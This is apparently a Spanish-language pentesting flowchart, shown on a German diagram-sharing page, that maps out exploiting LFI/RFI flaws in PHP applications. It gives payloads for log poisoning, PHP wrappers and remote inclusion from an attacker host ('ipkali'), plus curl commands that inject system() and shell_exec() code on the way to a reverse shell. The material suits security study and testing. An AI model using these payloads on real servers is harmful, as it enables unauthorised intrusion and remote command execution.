Flussdiagramm
LFI/RFI
Inhalt des Flussdiagramms
LFI/RFI
Identificamos un parametro con una extension de archivo
¿Es una aplicacion PHP?
Aplicacion en otro lenguaje
¿Version 5.x o anteriores ?
LFI
RFI
Log poisoning
PHP Wrappers
Enviar una peticion con el payload
netcat
BurpSuite
Ejecucion de comandos mediante el archivo local
&cmd=comando
Se realiza la peticion web y tenemos acceso al fichero de logs
Si
Si
Si
No
No
parametro=data:text/plain,ejemploentextoplano
¿Ha interpretado el wrapper?
Incluimos el payload
parametro=data:text/plain,payload
Verificar la vulnerabilidad comprobando la conectividad
parametro=http://ipkali/ficherorandom
¿Tenemos conectividad?
allow_url_include desactivado
Ejecutar comandos desde nuestro archivo con el payload
parametro=http://ipkali/ficheromalicioso.txt&cmd=ipconfig
¿Obtenemos output?
Poner byte nulo al final para evitar que el servidor añada alguna extension al archivo y no lo reconozca
REVERSE SHELL
Si
Si
Si
No
No
No
curl
Navegador
curl -s --data "<?system ('comando')?>" "http://ruta/file.php?parametro=php://input%00"
reverse shell
curl -s --data "<?shell_exec ('shell')?>" "http://ruta/file.php?parametro=php://input%00"
Informationen
- Beschreibung
- Flussdiagramm am LFI/RFI, erstellt von sprut gamer am 21/03/2022.
- Erstellt von
- sprut gamer
- Aufrufe
- 0
- Bewertung